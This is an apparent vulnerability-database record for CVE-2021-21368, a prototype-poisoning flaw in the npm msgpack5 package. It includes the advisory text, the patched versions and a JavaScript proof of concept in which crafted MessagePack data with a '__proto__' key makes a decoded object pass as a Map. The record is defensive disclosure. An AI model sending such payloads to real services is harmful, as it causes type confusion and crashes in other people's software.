{"id":"CVE-2021-21368","aliases":["GHSA-gmjw-49p4-pcfm"],"url":"https://o3.security/vulnerability/CVE-2021-21368","summary":"Prototype poisoning","details":"### Impact\n\nThe issue is as follows: when `msgpack5` decodes a map containing a \nkey `\"__proto__\"`, it assigns the decoded value to `__proto__`. As you \nare no doubt aware, `Object.prototype.__proto__` is an accessor \nproperty for the receiver's prototype. If the value corresponding to \nthe key `__proto__` decodes to an object or `null`, `msgpack5` sets \nthe decoded object's prototype to that value. \n\nAn attacker who can submit crafted MessagePack data to a service can \nuse this to produce values that appear to be of other types; may have \nunexpected prototype properties and methods (for example `length`, \nnumeric properties, and `push` et al if `__proto__`'s value decodes to \nan `Array`); and/or may throw unexpected exceptions when used (for \nexample if the `__proto__` value decodes to a `Map` or `Date`). Other \nunexpected behavior might be produced for other types. \n\nThere is no effect on the global prototype.\n\nAn example: \n\n```js \nconst msgpack5 = require('msgpack5')(); \n\nconst payload = {}; \nObject.defineProperty(payload, '__proto__', { \nvalue: new Map().set(1, 2), \nenumerable: true \n}); \n\nconst encoded = msgpack5.encode(payload); \nconsole.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02> \n\nconst decoded = msgpack5.decode(encoded); \n\n// decoded's prototype has been overwritten \nconsole.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } \nconsole.log(decoded.get); // [Function: get] \n\n// decoded appears to most common typechecks to be a Map \nconsole.log(decoded instanceof Map); // true \nconsole.log(decoded.toString()); // [object Map] \nconsole.log(Object.prototype.toString.call(decoded)); // [object Map] \nconsole.log(decoded.constructor.name); // Map \nconsole.log(Object.getPrototypeOf(decoded).constructor.name); // Map \n\n// decoded is not, however, a Map \nconsole.log(Object.getPrototypeOf(decoded) === Map.prototype); // false \n\n// using decoded as though it were a Map throws \ntry { \ndecoded.get(1); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.get called \n// on incompatible receiver #<Map> \n} \ntry { \ndecoded.size; \n} catch (error) { \nconsole.log(error); // TypeError: Method get Map.prototype.size \n// called on incompatible receiver #<Map> \n} \n\n// re-encoding the decoded value throws \ntry { \nmsgpack5.encode(decoded); \n} catch (error) { \nconsole.log(error); // TypeError: Method Map.prototype.entries \n// called on incompatible receiver #<Map> \n} \n``` \n\nThis \"prototype poisoning\" is sort of a very limited inversion of a \nprototype pollution attack. Only the decoded value's prototype is \naffected, and it can only be set to `msgpack5` values (though if the \nvictim makes use of custom codecs, anything could be a `msgpack5` \nvalue). We have not found a way to escalate this to true prototype \npollution (absent other bugs in the consumer's code). \n\n### Patches\n\nVersions v5.2.1, v4.5.1, v3.6.1 include the fix.\n\n### Workarounds\n\nAlways validate incoming data after parsing before doing any processing.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)","published":"2021-03-12T17:15:12.863Z","modified":"2026-07-09T01:30:44.198482Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"msgpack5","fixedVersion":"3.6.1"},{"ecosystem":"npm","name":"msgpack5","fixedVersion":"4.5.1"},{"ecosystem":"npm","name":"msgpack5","fixedVersion":"5.2.1"}],"fix":{"url":"https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8","label":"mcollina/msgpack5@d4e6cb9"},"references":[{"type":"ADVISORY","url":"https://github.com/mcollina/msgpack5/releases/tag/v3.6.1"},{"type":"ADVISORY","url":"https://github.com/mcollina/msgpack5/releases/tag/v4.5.1"},{"type":"ADVISORY","url":"https://github.com/mcollina/msgpack5/releases/tag/v5.2.1"},{"type":"ADVISORY","url":"https://www.npmjs.com/package/msgpack5"},{"type":"FIX","url":"https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8"},{"type":"EVIDENCE","url":"https://github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21368"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-09T01:30:44.198482Z"}}